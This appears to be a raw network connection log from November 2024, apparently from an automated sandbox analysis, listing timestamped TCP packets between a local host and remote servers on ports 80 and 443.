Nov 23, 2024 11:22:12.890719891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.891547918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.891592979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.891670942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.892437935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.892647028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.892697096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.892745972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.892788887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.893577099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.893623114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.893671989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.893714905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.894598961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.894684076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.894731998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.895558119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.895631075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.895678043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.896614075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.896686077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.896729946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.897545099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.897592068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.897670031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.898569107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.898633957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.898682117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.899724007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.899796963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.899842978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.899908066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.900768995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.900825977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.900882006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.901618004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.901704073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.901762962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.902550936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.902668953 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.902728081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.903558969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.903615952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.903676987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.904441118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.904556036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.904618979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.904674053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.904719114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.905528069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.905576944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.905642033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.906673908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.906709909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.906732082 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.906763077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.907608986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.907922983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.907978058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.908574104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.908643007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.908694983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.909550905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.909699917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.909760952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.910686016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.910746098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.910797119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.910856009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.911542892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.911596060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.911608934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.911660910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.912549973 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.912724972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.912781954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.913546085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.913686991 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.913743019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.914659023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.914716005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.914715052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.915579081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.915626049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.915662050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.916438103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.916598082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.916609049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.916657925 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.917557955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.917568922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.917634964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.918559074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.918571949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.918623924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.919497967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.919557095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.919624090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.920444965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.920589924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.920613050 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.920651913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.920651913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.921523094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.921663046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.921706915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.922539949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.922645092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.922702074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.923521042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.923571110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.923624992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.924443960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.924565077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.924614906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.924706936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.924757004 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.925533056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.925647974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.925704002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.926536083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.926589012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.926647902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.927669048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.927680969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.927716970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.927736044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.928534031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:12.932471037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:12.963418007 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.963483095 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.963558912 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.963777065 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.963784933 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.963798046 CET	49770	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.963803053 CET	443	49770	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.966523886 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.966536045 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:12.966615915 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.966749907 CET	49775	443	192.168.2.4	13.107.246.63
Nov 23, 2024 11:22:12.966756105 CET	443	49775	13.107.246.63	192.168.2.4
Nov 23, 2024 11:22:13.077488899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.077501059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.077765942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.077780962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.077925920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.077986956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.078764915 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.078825951 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.078833103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.079762936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.079824924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.079906940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.080440998 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.080780029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.080802917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.080848932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.081744909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.081871033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.081924915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.082791090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.082839966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.082921028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.083787918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.083838940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.083892107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.084439993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.084750891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.084852934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.084908009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.085803032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.085912943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.085961103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.086831093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.086884022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.086893082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.087898016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.087949038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.087966919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.088434935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.088792086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.088881969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.088927984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.089762926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.090045929 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.090087891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.090778112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.090825081 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.090863943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.091756105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.091799974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.091850042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.092437983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.092869043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.093009949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.093058109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.093781948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.093919992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.093971968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.094789982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.094814062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.094866037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.095766068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.095813036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.095864058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.096446991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.096812963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.096868038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.097021103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.097898006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.097954988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.098114014 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.099019051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.099064112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.099072933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.099111080 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.099780083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.099931955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.099989891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.100764036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.100927114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.100976944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.101820946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.101991892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.102036953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.102772951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.102822065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.102871895 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.103032112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.103763103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.103811026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.103873968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.103918076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.104798079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.104891062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.104938030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.105854988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.105961084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.106019020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.106759071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.107006073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.107060909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.107867956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.108002901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.108057022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.108760118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.108860016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.108913898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.109762907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.109893084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.109945059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.110769033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.110821009 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.110975027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.111782074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.111840010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.111857891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.112441063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.112790108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.112828970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.112875938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.113748074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.113936901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.113997936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.114761114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.114818096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.114862919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.115842104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.115895987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.115978003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.116437912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.116791010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.116906881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.116955042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.117784977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.118016005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.118068933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.118769884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.118832111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.118881941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.119294882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.119751930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.119885921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.119899035 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.119931936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.120742083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.120800972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.120804071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.121870995 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.121920109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.121938944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.122744083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.122803926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.122838020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.123780966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.123791933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.123838902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.124730110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.124861002 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.124916077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.125735998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.125839949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.125894070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.126780033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.126832008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.126864910 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.127756119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.127811909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.127877951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.128442049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.128741980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.128906965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.128959894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.129744053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.132455111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.279567003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.279584885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.279638052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.279680014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.279711962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.279767990 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.279805899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.279849052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.280431986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.280493021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.280513048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.280571938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.281516075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.281570911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.281650066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.281702995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.282543898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.282598972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.282603025 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.282638073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.283416033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.283467054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.283603907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:13.283655882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:13.284420013 CET	80	49765	31.41.244.11	192.168.2.4
